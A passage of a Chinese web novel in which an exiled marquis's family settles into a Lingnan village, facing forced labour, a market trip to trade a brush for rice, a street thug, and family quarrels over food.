程七七点头,笑着说:“娘,不用住在野外,有个遮风挡雨的地方,我很满意。” “七七,以后,会越来越好的。” 柳素仪看着程七七的眼神更加心疼了,可惜在侯府的时候,没能好好待她,以后,她就把七七当亲生女儿一样疼! “弟妹(二嫂),我们来帮忙。” 靳家旁支的女眷全部都来了,人多力量大,很快,就将老夫人安置好了,稻草铺在木板上,再垫上从京都带出来的褥子,老夫人躺在收拾干净的屋子里,睡得沉沉的。 柳素仪看在眼里,感激在心里,程七七道:“今天晚上把鱼蒸了,蒸上米饭,我们今天一定要吃饱饭!” “嫂子,我可馋你做的鱼了!” 靳晴儿一听有好吃的,眼睛都亮了。 “那,我去做饭。” 程七七主动揽下了做饭的活,靳萱儿、靳晴儿跟在一旁打下手。 之前抓着没吃完的鱼,抹上盐,晒成咸鱼干了,今天用辣椒和豆鼓蒸上,土豆垫底,蒸出来的味道还是很不错的。 到岭南的第一顿,必须吃饱,程七七大方的蒸上了米饭,煮米饭的米汤,程七七也没舍得倒,假借着之前找到的鸟蛋,悄悄的敲了两个鸡蛋进去,浓稠的鸡蛋米汤,就当作是第二道菜了! 靳晴:“嫂子,你这手艺真是强,这鱼和土豆一蒸,真香!” 靳萱儿:“这鸡蛋米汤,味道也太好吃了!” “我都多久没吃到米饭了。” 靳雪儿一句话,瞬间,让靳家所有人沉默了,别说忠勇侯府了,就连靳家旁支,以前也是顿顿精白米饭。 第一卷 第35章 瞌睡虫全跑了 归化里村,庄家。 “爹,我瞧着这流放的女眷生的不错。” 庄海潮想着刚刚偷偷见到的女眷,道:“你说,我要不……” “他们都是罪籍。” 庄里正睨了他一眼,掏出刚刚忠勇侯拿出来的铜板道:“看到没,就几个铜板,你死了这条心吧。” “爹。”庄海潮还想说话,被庄里正一脚踹过去,庄海潮捂着屁股就跑回家了。 庄里正回头看着那三栋破旧的房子,眼神晦暗。 …… 夜,渐深了。 “娘,以后这里就是我们的家吗?”靳岁安窝在程七七的怀里,摸着柔软的被子,仰头看着程七七问。 “对。” 程七七点头,看着病了一场,又瘦的脸都尖了的靳岁安,心疼的不行,她道:“以后,我们再也不用睡在野外了。” “这里真好,你看,那里有个洞,可以看星星。” 靳岁安兴奋的说着,指着屋顶的洞说着。 程七七:“……” 傻女儿,这可不好,下雨了,就得成落汤鸡了! “那,爹爹知道我们在这里吗?以后会不会找不到我们?” 靳岁安漂亮的眼睛里,全部都是担心。 “……” 程七七沉默了一会,才将女儿揽在了怀里道:“会的,我们安安这么招人喜欢,你爹爹肯定会找到我们的。” “嗯,娘说的对,奶奶很喜欢安安,爷爷……虽然有点凶,但,爷爷给安安吃鸟蛋了。” “那爹爹要快点来找安安,安安想爹爹了。” 靳岁安窝在程七七的怀里,眼皮开始打架了,她临睡着前,还呢喃:“爹爹。” “安安。” 程七七低头,轻轻抚着女儿的脸,想到死去的世子,女儿注定是见不着爹爹了。 …… “爹,孩儿不孝,让您们受苦了。” 漆黑的夜色下,靳墨之跪在了忠勇侯的面前,流放路上,处处有人盯着,根本无法相认。 “墨儿,快,快起来!” 忠勇侯看到活生生站在他面前的儿子时,才倍感欣慰,看着他满面的胡子问:“身上的伤势如何了?” 平沙关重伤,假死进京,侯府里,崔烈又让他伤上加伤! 遇上土匪那一段,他再次受伤,忠勇侯路上的时候什么都没说,但心里,一直都是记挂着的。 “好着呢。” 靳墨之抿着唇道:“爹,我不应该假死,我……” “墨儿。” 忠勇侯看着满面胡子的靳墨之,有一瞬间的不自在,自家俊俏的儿子,突然变成一个胡须大汉了,可,看着那双如墨的眼睛时,瞬间又熟悉了。 这,还是那个令他骄傲的儿子,他道:“若你也流放之身,如何能替自己平反?替侯府平反?” “爹相信你,抗旨,绝对是为了护下百姓,你更不会贪没那六十万两军饷银的!” 忠勇侯看着他的眼神格外的郑重,全然的都是信任,道:“就算从侯府抬出二十万两银子出去,我也相信,你一定是被奸人所害!” 所以,假死药,是他让老胡准备的,若是侯府不幸满门抄斩,至少,还能护下一丝血脉。 “爹。” 靳墨之的眼眸浮动,是他害了侯府,他自责的说:“爹,是我大意了。” 他没想到,崔烈敢这般冒险。 “墨儿。” 忠勇侯伸手拍着他的肩膀道:“为父,为你骄傲。” 靳墨之如墨的眸子仿佛蒙上了一层水雾,抗旨,害了家人,不抗旨,就是那一千多条人命! “往后,你可想过怎么办?” 忠勇侯岔开话题,不想让儿子太过自责,崔烈此子,虽出身寒门,却心狠手辣,利用一千多条人命,逼着靳墨之抗旨! 若是靳墨之,没有抗旨,那么,一千多条人命,只要崔家再渲染一下,靳墨之的名声也没了。 如今,虽然靳家获罪,但,用靳家被抄家流放,换那一千多条人命,他觉得值! “爹,我已经让止水去了平沙关,你在朝堂上看到的万民请愿书,是假的,百姓们不知内情,至于那二十万两白银,是身边出了内鬼。” 靳墨之提起这事,眸中一片郑重,道:“是付茂,他被崔烈拿捏全家人的性命,逼着他悄悄将这二十万两银子,运送到府中,最后……” “剩下的四十万两,肯定是崔烈拿走了,他编造的账目,假的就是假的,只要我们能找到关键的证人,就能翻案!” “爹,等你们在岭南安顿好,我就准备去平沙关!” 靳墨之眼神坚定,除了查找证据,他还想要上下打点一番,崔烈这么处心积虑的谋害他,他总觉得这其中,或许还有异! 崔烈出身寒门不假,但如今已经是皇上身边的亲信,想要给他送礼的人不知凡几,那四十万两银子,为何要贪? “好,万事小心。” 忠勇侯提醒着。 靳墨之道:“爹,县丞苏大人,我已经打点过了,曾经,救过他一命,若有事,拿我的玉佩,便可去寻找。” “市舶司太监高让,贪财,安南州知府宋景一心为百姓,或可利用……” 夜慢慢深沉,父子两个说起未来的规划,时间流逝飞快,天际泛起了鱼肚白。 “墨之,我们在岭南,你就放心,你爹我虽然老了,不中用了,但,小小归化里村,还打不倒你爹我!” “想当年,我跟着你祖父在战场杀敌的时候,也才十几岁!” 忠勇侯不舍的看着自家儿子,他还有很多话要说。 “爹,你们也保重。” 靳墨之打算离开了,他如今的身份,绝对不能被任何人察觉出来。 忠勇侯刚回去,靳墨之一动,就发现他的脚麻了! 岭南的冬天不如京都寒冷,但,跟着亲爹商议了一个晚上,这会靳墨之也是脚软。 靳墨之伸出脚缓缓,他闭上眼睛,想着未来的计划,是否有什么缺漏的。 突然,一个脚步声响起,靳墨之倏地睁开眼,看到还没睡醒的程七七,拌在他的脚上,眼看着就要摔倒在地。 靳墨之想也没想,躺在地上当肉垫子,同时,捂住了程七七的嘴。 “唔!” 程七七的瞌睡虫全跑掉了! 第一卷 第36章 会挨打吗? “别叫。” 靳墨之低沉的声音响起:“是我。” 黑暗中,那低沉的嗓音,透着丝丝的耳熟。 “是你?” 大长腿的虬须大汉? 程七七认出他之后,就松了一口气,他是世子的旧部,那就是来保护靳家人的。 “你是在暗地里,保护我们的?” 程七七小声询问着。 “……” 靳墨之沉默了一下,点头。 “那你离得太近了,差点没吓死我。” 程七七想着刚刚不小心被绊倒,还被捂着嘴,她差点就要暴露空间的秘密,直接用匕首了。 知道是误会,程七七这会才反应过来,他们两个人的姿势现在有些暧昧,她大半个身子都压在了他的身上。 “我,我这就起来。” 程七七立刻说着,越着急,就越慌乱,她按到他胸膛时,她愣了一下,这人的胸膛是石头做的不成? 乱七八糟的想法在脑海里一闪而过,程七七飞快的爬起来。 忠勇侯听着动静赶过来,程七七主动开口:“爹,我刚刚不小心摔了,是他扶了我一下,他是来保护我们的吗?” 靳墨之拍了拍身上的灰尘,道:“侯爷,我先走了。” 话落,靳墨之的身影瞬间消失在他们的面前。 “是。” 忠勇侯看了一眼靳墨之离去的背影,自家儿子在,他倒没有多想,只问:“你没摔伤吧?” “没有没有。” 程七七连连摆手道:“安安昨天睡的早,我想着今天早起给她做些吃的,免得白日我们去做事时,安安没得吃。” 程七七直接钻到棚子搭的厨房里去了,一想着刚刚尴尬的画面,她都不知道该说什么了,还好,公公挺大老粗的! 以后,一定要小心小心再小心。 程七七这般提醒着,刚将火烧起来,忠勇侯就将靳家男丁全部都叫了起来,就连靳砚之也喊了起来:“趁着还没到辰时,我们赶紧到山上,多捡些柴回来。” “爹,这也太早了,傍晚再捡……”也行。 靳砚之打着哈欠,走了三个月的路,靳砚之第一次睡的这么安稳,昨天还吃饱了米饭,靳家出事以来,他还是第一次睡的这么安稳。 忠勇侯一脚踢了过去:“靳砚之,不去捡柴,你今天晚上就别吃了!” 管训场,忠勇侯虽然不知道要做什么,但对于他们犯人来说,肯定不会是什么好活,晚上? 晚上有力气捡柴再说! “爹。” 靳砚之挨了一脚,只觉得瞌睡虫全部跑光光了,他跟着亲爹一块上山,只能吭哧吭哧的捡柴。 靳家女眷们也没闲着,分工合作,目前,只有一口锅,剩下的都是罐子,缸子之类的。 一罐子煮粥,锅则是拿来烙饼子,程七七非常谨慎的多做了一点,就怕中午要是没空做,冷饼子配水,也对填饱肚子。 林惠兰和靳雪儿母女两个什么都不想干,磨磨蹭蹭到最后,忠勇侯他们都回来了,这才起床。 “没你们的份!” 程七七直接将烙好的饼子盖上了。 “你……” 林惠兰一抹眼泪,软软的朝着忠勇侯告状道:“侯爷,程七七她故意针对我们母女。” “从天亮到现在,已经一个时辰了,娘服侍了祖母喝粥,给祖母换洗了衣服。” “大伯母和静瑶还有萱儿一起,把缸里的水挑满了。” “三婶和四婶去小河边,把衣服都洗干净了。” “胜兰和靳晴把大家的衣服上有破洞的全部都打上了补丁,还给大家的鞋子里面,都加了一层棉花垫子,而你们呢?” 程七七眼皮子微掀,道:“刚刚起床。” 程七七的声音清脆,噼里啪啦的一顿输出,便看向了忠勇侯! 她这个公公要是拎不清,那以后就得好好掰扯掰扯了,否则,她可不想还像侯府里一样,尽受别人的欺负! “林惠兰,靳雪儿,今天早上,你们要吃东西,自己想办法,以后,家里的每个人都得干活。” 忠勇侯的话,代表着站在了程七七的这一边。 “侯爷说的对,今日不同往日,若还想过着衣张伸手,饭来张口的日子,那就趁早死了心。” 柳素仪站在程七七的身边道:“七七,辛苦你了,烙了这么多饼,哪来的小葱?” “娘,屋后可能是别人以前种的,长的可好了。” 程七七说着,就开始给大家分葱花饼了,一人分到了四个! “有两个是中午吃的,今天刚来,去干活也不知道什么情况,大家都带着,万一没时间吃,这葱花饼冷了也能吃!” 程七七开口,柳素仪立刻就夸赞着程七七想的周到了! “那,我们呢?”林惠兰委屈巴巴的看着忠勇侯。 忠勇侯一口葱花饼,一口粥,睨了她们一眼:“自己想办法。” “侯爷,我们万一饿死了,我……” 林惠兰的话刚起一个头,忠勇侯扫了她一眼:“你有这哭的时间,不如赶紧想想,吃什么。” 忠勇侯越过她,看着靳家众人,提醒道:“今天去管训场,可能会……碰上什么不好的事情,你们要有个心理准备。” 靳家众人沉默了,瞬间,连手里的饼子都不香了。 “二叔,我,我们被挨打吗?” 靳润之忍不住开口,或许是流放这一路上,相处的时间长了,他都敢开口问了。 “不好说。” 忠勇侯摇了摇头,墨儿虽然打点过,但,干苦力活是一定的! 管训场。 归化里村,除了忠勇侯一家子流放的犯人,还有不少流放的犯人,管训场,就是专门负责给他们分工干活的人! “你们,新来的,赶紧过来。” 大树墩子做的台子上,一个皮肤黝黑的男子指着靳家人。 “你们男丁都是去砍樟树,今天要是运不到十根,你们都不用回去了。” 男子直接开口,没有一丝一毫的含糊,道:“女的都去舂米,磨面。” “等会,你们怎么少了两个人?” 男子数人头的时候,立刻蹙起了眉头。 “大人,我娘病重,我媳妇照顾着,还请大人通融一二。”忠勇侯立刻将准备好的铜板递了上前。 男子掂了掂,挑眉道:“不干活?可以,一人一百文钱。” 第一卷 第37章 还不如流放路上呢 “大人,我媳妇高胜兰怀孕了,我交钱。” 靳润之说着,就将藏起来的一片银叶子递了上前,他们才刚刚成亲,胜兰怀孕了,自然是要好好养着,不能干活的! “算个四天。” 男子掂了掂银叶子的重量,拿起炭笔,直接在高胜兰后面勾了四天。 “大人,我孙女还小,我儿媳妇就回去带孩子。” 忠勇侯开口,儿子假死在外奔波,儿媳妇和孙妇女必须照顾好了! 正准备交钱的程七七听着这话,立刻乖巧的站在一旁,既然公公替她出头,那她这个妇道人家,就不用再出面了。 “孩子也是人,谁说不用出钱了?” 男子睨了他了眼,道:“按人头算,一人一天一百文钱。” “孩子太小了,没人照顾着,实在没办法。” 忠勇侯叹了一口气,一边抠抠搜搜的从好几个地方掏出钱来,递给了黝黑的男子。 “侯爷,还有妾身,妾身也身体不好,妾……” 林惠兰一看这事,立刻就开口,眼巴巴的看着忠勇侯! “你才三岁吗?” 忠勇侯冰冷的声音打断她的话。 “可,程七七她……” 林惠兰话一开口,忠勇侯道:“她要带安安,难道你也有孩子要带?” 忠勇侯交了钱之后,亲眼看着那花名册后面连着勾了四天,这才松了一口气,至于林惠兰气愤的眼神,他直接当作没瞧见。 “侯……” 林惠兰的声音说到一半,就被一旁开心的声音打断了:“谢谢爷爷!” 靳岁安脆生生的话语,配上她甜甜的笑容,瞬间就让忠勇侯所有的疲惫都没了! “安安,跟着你娘,乖乖在家。”忠勇侯伸手摸了摸小孙女的头发,从前一年难见到一回,每次见着,小姑娘怯生生的,没想到,笑起来真好看。 “嗯。” 靳岁安紧紧跟在程七七的身后。 “我姓赵,叫赵黑,你们以后,就叫我赵大人!” 男子粗犷的嗓门,中气十足的,堪比大喇叭,道:“现在,开始发工具砍树,你们十个人,十根樟木,一根都不许少。” 十根樟木? 靳家男丁们松了一口气,十个人,五把柴刀,两把短斧,麻绳。 “这刀刃崩口、卷刃,怕是十年都没磨过了吧?” “木柄也松动了,这,这怎么砍树啊?” 靳大爷和靳三爷都是在村子里呆过的,因此,看着这斧头和柴刀,就想着等会砍树,怕是有难。 “十根樟木,我们得早点干完,早早的回家歇着。” 靳砚之满脑子都是干完活回家歇息,等跟着赵大人到了地方,看着那比腰还粗的樟木时,瞬间就震惊了:“爹,这么粗的树,我们得砍十根,还得带下山???” “完了。” 靳砚之忍不住跪了下来,一脸生无可恋:“爹,这还不如流放路上呢。” 流放路上,走路就行,反正走了三个月,他的脚上起了一层老茧子,不怕疼了。 “赶紧起来砍树。” 忠勇侯一把将他踹起来了,有这哭嚎的时间,还不如赶紧干活呢。 另一边,程七七带着两个孩子和高胜兰往家里赶。 靳礼之和孟静瑶夫妻也舍不得才五岁的靳允,于是,也花了钱,让程七七带着她回家了。 “怎么样?” 柳素仪一见着她们回来了,连忙担心的询问着,这第一天去管训场,她和婆婆就没有过去,生怕出意外。 “娘,你就放心吧,交一百文钱,就不用干活。” 程七七解释着,特意说了林惠兰也想要让忠勇侯交钱,但被忠勇侯拒绝的事情。 “呵,她倒是想得美。” 柳素仪冷笑着,拉着程七七的手安慰的说着,道:“七七,你在家安心带安安,钱的事情,让侯爷去想法子!” 侯府虽然被抄家流放,但,还是藏了点家底的,只要等一等,他们肯定能把日子过好。 “娘,我打算去一趟县里。” 程七七开口中道:“安安和小允,就要辛苦娘帮忙带着了。” “去县里?” 柳素仪愣了一下。 程七七解释道:“我想换些粮食,而且,胜兰怀孕的事情,还没请郎中把个脉呢。” 流放路上,他们的粮食就已经见底了! “二婶,不好意思,我,我一个人实在是不敢去。” 回来的路上,高胜兰听到程七七要去县里,立刻动了去县里看郎中的念头。 流放三个月,高胜兰能感觉到肚子慢慢大了起来,但,不看看郎中,她真的不放心,担心孩子有什么问题。 “七七,你们两个妇道人家,虽然离县里不远,但是……” 柳素仪担心:“要不,还是等你爹回来,再去换粮食吧。” “娘。” 程七七上前,偷偷在柳素仪耳旁低语几句,柳素仪立刻道:“那你们早去早回,安安跟小允跟着我身边,你就放心吧!” “娘。” 靳岁安抱着程七七,仰头道:“娘,安安乖乖的,等娘回来。” “好。” 程七七蹲下身子,抱着靳岁安亲了一口才道:“安安乖乖的,娘这次肯定给你买糖葫芦!” 上次流放的路上,程七七想买,结果,都没瞧见,害得她食言而肥。 程七七跟高胜兰出了靳家,就直奔潮生县走,昨天走了一遍,今天,倒也不陌生。 “咦。” 程七七刚走没几步,就看到一家人门口,那偌大的竹盘里,都在晒着小小的果子。 “这是什么果子啊?从来没见过呢。” 高胜兰疑惑地问了问。 “可能是岭南才有的吧。” 程七七随口回了一句,盯着槟榔果,都好奇的不行,她是真没想到,古代还有槟榔呢! 一路走到县里,程七七发现,家家户户都有大娘,或者小媳妇在晒槟榔果呢! 程七七若有所思:看来,岭南果然槟榔果多。 等到了潮生县,路过潮生县最大的码头时,程七七更是细心地发现,那些搬货的人,好多都在嚼着槟榔,就连旁边,也有好几个小摊子,在卖着槟榔。 “七七,我们快点走吧。” 高胜兰看着码头那么多男人,下意识的都觉得害怕,想要快快离开。 第一卷 第38章 毛笔换米 “恭喜,夫人有孕三个多月了。” 郎中的话,让高胜兰一直悬着的心,瞬间就放到了肚子里:“郎中,那,我这孩子……” 高胜兰的手下意识的放在肚子上,温柔中透着担心,这一路上,吃不好,睡不好,还要走五十里路。 “孩子没问题,夫人要是不放心,可以开点安胎药。” 郎中看了一眼高胜兰身上的衣服,看着不值钱,但,两人一身的气度,看着倒不像是小门小户的。 “那,那就不买了。” 高胜兰立刻摇头,只要孩子没问题就行。 “郎中,安胎药多少钱?” 程七七询问着:“如果不吃安胎药的话,会不会对孩子有什么影响呢?” “安胎药三十文钱一副。” 郎中瞧出他们的囧迫,主动道:“夫人身体底子好,往后只要补补,身体也就养回来了。” “那就不吃。” 高胜兰立刻站了起来,拉着程七七就往外走:“谢谢郎中。” 程七七道:“胜兰,要不,还是拿副安胎药,图个安心。” “没事,流放路上这么难都挺过来了,现在都不用这样走路了,我的孩子肯定没事。” 高胜兰少了之前的担心,脸上的笑容都多了几分,孩子平安无事,她就放心了:“嫂子,谢谢你。” 要不是来这一趟,她这心里啊,就一直不安心。 从医馆里出来,高胜兰问:“嫂子,我们去哪里买粮食啊?也不知道这米铺在哪里。” “随处逛逛,总能找着的。” 程七七出了医馆,和京城的繁华相比,潮生县城看起来那叫一个落后,叫卖的商贩不少,铺子里卖的东西也是不可否认满目的,但,东西就随意的摆放着,看起来实在是……不咋滴。 “米铺,那就是米铺。” 高胜兰看到了米铺,顿时就高兴了,她们今天来,可就是为了买粮食的。 等进了米铺,高胜兰就笑不出来了:“这么贵?” 在京都精米才卖三十文钱呢! 在岭南,这糙米居然也卖二十文钱一升! 这价格也太贵了! 她今天不干活,花了一百文钱,也就是五升米! 五升米,他们三房一家四口,也能吃上好几天了,这才第一天呢,如果以后每天都拿一百文钱,那,不等她生下孩子,只怕家里就穷的揭不开锅了! “嫂子,这怎么办?” 高胜兰犹豫了,公公就给她二百文钱,这只能买十升米。 “米,当然是要买的。” 程七七看着高胜兰,她的心情也很好,大家越拎的清,那么,以后的路就越好走! 要是高胜兰不管不顾,直接说买就买,只怕她得好好考虑了! “那,怎么买?” 高胜兰被程七七拉着出了米铺,她不时的回头看着米铺,要不,买点去年的陈米好了,价格便宜一半! “跟我来。” 程七七拉着高胜兰,沿着街边叫卖的小贩,一路到了街尾的一个少年面前蹲下问:“你这里可以换米吗?” “可以,你拿什么来换?” 少年盯着程七七,眼神中带着谨慎。 “毛笔。” 程七七先前就注意到这个少年了,少年拿一麻袋东西,换了一沓纸。 毛笔? 少年的眼睛亮了,岭南不是没有毛笔,但,好的毛笔真的太少了,要么就贵的吓人! 高胜兰震惊的看着一旁的程七七,毛笔还能换米呢? 程七七从她的布包里掏啊掏的,实际从空间里掏了一支毛笔出来:“你看看,这支上等的湖笔,能换多少米?” “五斗米。” 少年自从程七七拿出笔之后,这眼睛就一直没有离开过她手上的笔,他道:“我家的米都是自家种的,不是陈米,一斗十升米,保准蒸出来的米饭,特别好吃!” “成交。” 程七七笑着应声,当初婆婆柳素仪的库房的时候,柳素仪正好准备了一批笔捐赠到学堂,这种湖笔,那是整整一箩筐呢! “五斗米,我们两个妇道人家也搬不回家,可以请你送到归化里村吗?” 程七七将笔递了过去,少年拍着胸脯道:“没问题,我就住在隔壁洪溪村,傍晚,我送到村口,行吗?” “好。” 程七七约定好时间之后,就带着高胜兰走了。 “等会,嫂子,我们就这么走了?笔也给她了,米也没瞧见,他万一跑了,我们连人都找不到啊。” “嫂子,要不……” 高胜兰想着那五斗米,对于周家来说,这些米可值钱着呢! “夫人,我叫江枫,家住洪溪村,大河边,进村第一家,就是我家了。” 江枫跑了过来,特意跟着程七七说了。 “我夫家姓靳,你在村里一打听就知道了。” 程七七说着,跟江枫告别之后,道:“胜兰,我相信我的眼光。” 高胜兰:“……” 她的眼神里透着怀疑。 程七七解释道:“从码头过来,我看到他救了一个小孩子,奋不顾身的,还受了点擦伤。” “就他手肘处的伤?”高胜兰刚刚就看到的。 “对。” 程七七微微点头:“一个能见义勇为的人,我相信他的人品。” 高胜兰半信半疑,程七七已经盯上了路边的槟榔小摊了,问:“这个是什么?怎么卖的?” “这是我们岭南的槟榔果,吃了能提神、祛湿、驱瘴。” 小摊贩是个大娘,见着程七七,格外的热情道:“你看,拿这萎叶一包,嚼着吃可香了。” “才两文钱一份呢。” 大娘笑眯眯的,又指了另外一份,道:“夫人要是想要更好的,可以买这种好的,只要五文钱。” “那,每种给我两份。” 程七七一开口,一旁的高胜兰忍了又忍,等她买完,她才忍不住问:“嫂子,你买这个做什么?” 不能当饭吃,不能当水喝的! “大用。” 程七七卖了一个关子,瞧见卖糖葫芦的,她的眼睛一亮,立刻就冲过去买了两串糖葫芦,刚拿到手,就碰上一个地痞挡住了她的去路:“小娘子面生的很,不是本地人吧?” “小娘子,这糖葫芦有什么好吃的?哥带你去醉仙楼,吃红烧肉怎么样?” 男子吊儿郎当的看着程七七,虽然穿着朴素,没有任何的胭脂水粉,但那水灵灵的眼睛,顾盼生辉,好看的紧。 第一卷 第39章 一定是她幻听了 “这糖葫芦有什么好吃的?哥带你去醉仙楼,吃红烧肉怎么样?” 男子吊儿郎当的看着程七七,虽然穿着朴素,没有任何的胭脂水粉,但那水灵灵的眼睛,顾盼生辉,好看的紧。 “我们不吃。” 高胜兰害怕的拉着程七七连连后退,她是真没想到,她们现在穷的布粘布了,居然还有人打她们的主意? “那不行。” 男子眼神猥琐的看着程七七。 “我这个人不喜欢吃红烧肉,倒是喜欢红刀子。” 程七七从布包里摸出一把匕首了,锋利的刀刃,握在她的的手里,似乎下一刻,就能见红。 “还动刀了?吓唬谁呢!” 男子吊儿郎当的,一点都不带怕的。 程七七眼眸微冷,将糖葫芦塞到了高胜兰的手里,她手中的匕首一动,瞬间,带着寒芒匕首,殷红的血,凝珠而落。 “臭娘们,居然真的敢动手!” 男子察觉到不对劲,瞬间缩回手,巴掌一道口子,不深,但,小娘们的眼神很唬人,仿佛有一种豁出一切的狠。 “夫人!” 男子正要上前,一个虬须大汉走了出来,以守护者的姿态,站到了她的面前,犀利的眼神扫了过去。 “就你,敢调戏我……夫人?”虬须大汉上前一步,抓着男子的衣襟,手上一用力,就将男子往旁边一甩。 下一刻,男子就被踩趴到了地上。 “好汉饶命啊!” 男子哆哆嗦嗦的,哪里还有刚刚半点的嚣张。 程七七和高胜兰都松了一口气,高胜兰疑惑的想:刚刚她是不是幻听了,怎么听到黑土说:调戏他……夫人? 高胜兰在心中不断的告诉自己:一定是她幻听了,他家世子的夫人。 程七七蹲上前,拿着匕首上前,吓的男子激动的说:“我错了,我再也不敢了,我赔钱!” 男子生怕程七七手里的匕首就朝着他身上捅过去了,连连将腰上钱袋子拿了出来。 程七七眼睛一亮,她就准备擦擦匕首的血迹,还能有这样的收获呢? 程七七将钱袋子的铜钱全部都倒了出来,空钱袋子则是拿来擦匕首的血迹了,她往男子身上一丢:“以后睁大眼睛看清楚,别正事不干,就知道欺负人。” “滚。” 黑土脚下一用力,瞬间就将男子的腿给踩折了,疼的男子哇哇叫,连滚带爬的跑了。 “谢谢你帮了我们。” 程七七看着虬须男子黑土,她迟疑的看着瘸着走开的男子,有些担心:“这人会不会报复?” “他不敢。” 黑土眼底闪过一抹狠意,抬眼,又恢复清亮,他上前一步,清冽的气息包裹着她。 “今夜,会有郎中上门替老夫人诊治。” 他清冽的气息,低沉的嗓音,总让程七七和他那张满脸胡须的脸,有一种说不出来的割裂感。 “匕首锋利,世子妃务必小心。” 话落,黑土走进巷子里,仿佛瞬间就消失在人群中。 程七七看了一眼黑土消失的方向,这护卫刚刚为什么凑那么近讲话? “嫂子,还好有他帮忙。”高胜兰庆幸着。 “世子的旧部,黑土,之前土匪的时候,我们见过的。” 程七七张嘴就解释着,程七七岔开话题问道:“你还要买什么吗?不买的话,我们回家。” “回家,赶紧回家。” 高胜兰只觉得她的腿都有点软,刚刚那两个地痞,真的太可怕了:“嫂子,你是不是早就知道有人保护着你?” “幸好,幸好有世子的旧部,不然,我们可就……”高胜兰只觉得后怕。 程七七若有所思,她这个摆设一样的世子妃,还有人特意保护? 或许,是碰巧吧。 程七开没多想,她看着高胜兰一脸后怕的样子,想:就算没有世子旧部,她也不怕,光脚不怕穿鞋的,像刚刚那两个地痞无赖,一看就是欺软怕硬,只要你比他们更狠,他们就怂了。 两个人脚步匆匆的,回到村子里。 “大哥,已经打听清楚了。” 重山快步到上前,道:“刚刚那两个人,一个叫阿牛,一个叫刚子,都是这里有名了地痞无赖,特别喜欢对长得有点姿色的小妇人动手。” “先送他们到牢里呆几日,过后……” 靳墨之薄唇微启,重山的瞳孔微缩,世子的手段,就是高明! …… “累死了!” “我的手都要断了。” “全是泡,脚的泡,不去碰就不疼,这手上的泡,不碰也疼啊!” 运完十根樟木,忠勇侯一行人回到住处,双手都是血淋淋的,原以为,到了流放地就好了,现在看来,比流放还累人,干不完的活。 “我们更累,舂米和磨面,根本就不是人干的活!” 林惠兰拖着疲惫的身子,只觉得未来的日子黯无天日的。 一回到家里,靳雪儿盯着靳岁安手里的糖葫芦。 再想到今天白天在舂米时的辛苦,她瞬间就爆发了,她一把抢过靳岁安手里的糖葫芦,往嘴里一塞,糖衣的甜,山楂的酸,让靳雪儿觉得一天的疲惫都没了。 “程七七,你居然还浪费钱买糖葫芦!” 靳雪儿囫囵吃着糖葫芦,一边指责着程七七。 被抢了糖葫芦的靳岁安,瞬间扁起了嘴巴,大大的眼睛里蓄满了眼泪。 “安安。” 程七七牵起被推到地上的靳岁安,靳岁安哽咽着开口:“娘,安安不要糖葫芦了。” 靳岁安想起从前在府里,靳雪儿也是这么抢娘亲的东西,如果她想要抢回来,姑姑就会打娘亲。 女儿的眼泪,女儿的哽咽声,让程七七充满着愤怒的胸膛里,更是怜惜。 “安安闭上眼睛,数到一百。” 程七七牵着靳岁安到角落里。 靳岁安乖巧的闭上眼睛就开始数数。 “真乖。” 程七七揉了揉冷冷看着飞快吃着糖葫芦的靳岁安,眼眸冷冰冰的上前。 靳雪儿后知后觉的反应过来,随即将最后一颗糖葫芦塞到嘴里:“你,你干嘛,她都能吃,我凭什么不能吃?” “就凭……” 程七七一步一步走上前,冷声的说:“花的是我的钱!” 她的话音未落,程七七一把薅住了靳雪儿的头发,用力往下一压! “啊……” 头发被薅住的靳雪儿,整个人都以一个极其别扭的姿势站着,嘴里还没吃完的糖葫芦全部都吐了出来。 第一卷 第40章 抢糖葫芦 “雪儿!” 林惠兰担心的看着自家女儿,上前就想拽着程七七。 “住手!” 柳素仪学着程七七的样子,一把薅住林惠兰的头发,用力往下一压。 没等林惠兰尖叫,柳素仪看着忠勇侯道:“糖葫芦是七七自己的钱买的,刚刚还想分一颗给你呢,自己都没舍不得吃,就被靳雪儿抢了?” “一个马上及笄的姑娘,抢三岁小姑娘的吃食?林姨娘还真是会教孩子!”柳素仪死死的压住林惠兰,将林惠兰用力一推。 “哎呦。”林惠兰疼的捂着头皮,气极道:“什么程七七的钱买的,那不都是我们一家人的?雪儿吃个糖葫芦怎么了,侯爷……” “住口!” 忠勇侯冷眼睨了林惠兰一眼:“七七的钱是我们一家人的,那你们藏的钱,是不是也要上交?” 被吼的林惠兰,心虚的低头,好不容易藏起来的钱,可是保命的,怎么可能上交? “这里没有侯府,更没有侯爷,你要是还认不清身份,就滚出去!” 林惠兰一而再再而三的闹,那仅剩不多的情分,也该没了。 “侯爷。” 林惠兰不可置信的抬头,她为忠勇侯生了一儿一女,这么多年陪在他身边,没功劳也有苦劳,就连流放的时候,她也没有过外心,他怎么能这么待她? 林惠兰身形一晃,最后晕了过去。 “娘。” 靳雪儿吓呆了,也顾不上惋惜没吃完的糖葫芦了,抱着林惠兰道:“爹,快请郎中,娘她昏过去了。” 靳雪儿到底年纪不大,这会心慌慌的。 忠勇侯蹲下身子,确认了一番,才道:“只是晕过去了,睡醒就好,雪儿,给你嫂子道歉。” 靳雪儿咬着唇,抬起头,眼前的程七七,仿佛高高在上,再也不是府里那个随意欺凌的小可怜了。 “对不起。” 靳雪儿低头。 “还有安安呢,她才三岁,你当姑姑的跟侄女抢吃的,罚你今晚不许吃饭。” 忠勇侯也是气狠了,小孙女有糖葫芦,自己舍不得吃,还会分给他和素仪呢,靳雪儿倒是抢三岁小姑娘的吃食! “不吃就不吃!” 靳雪儿咬牙切齿,让她给三岁小姑娘道歉,死都不可能,反正那个姓庄的给了她一个红薯,她也不饿! “大家可以伸出手来看看。” 忠勇侯将血淋淋的手伸了出来道:“无论是我们砍樟木,还是女眷去舂米磨面,都是辛苦活,回到家,若是还吵吵闹闹,往后这日子都不用过了!” “我今天把话撂到这里,若是我们靳家关起门来,都拧不成一股绳,外人,便会将我们欺负死,你们想在这流放地,安安稳稳的生活,还是被人家挨个欺负,你们自己可想好了!” 忠勇侯看得分明,林惠兰母女闹起来的时候,老大,老三老四他们三家,都是默认的。 “二弟,你放心,我们都听你的。”靳大爷率先表态,他脑子不好使,要不是有忠勇侯这个堂弟,他们还在乡下种地呢! “二哥,我也是,都听你的。”靳三爷、靳四爷开口。 屋子里气氛凝重,程七七主动道:“爹,今天我跟胜兰一起去县里了,胜兰怀孕后,还没把过脉,今天郎中看过了,确实是怀孕了,除了需要补补之外,并无大碍。” 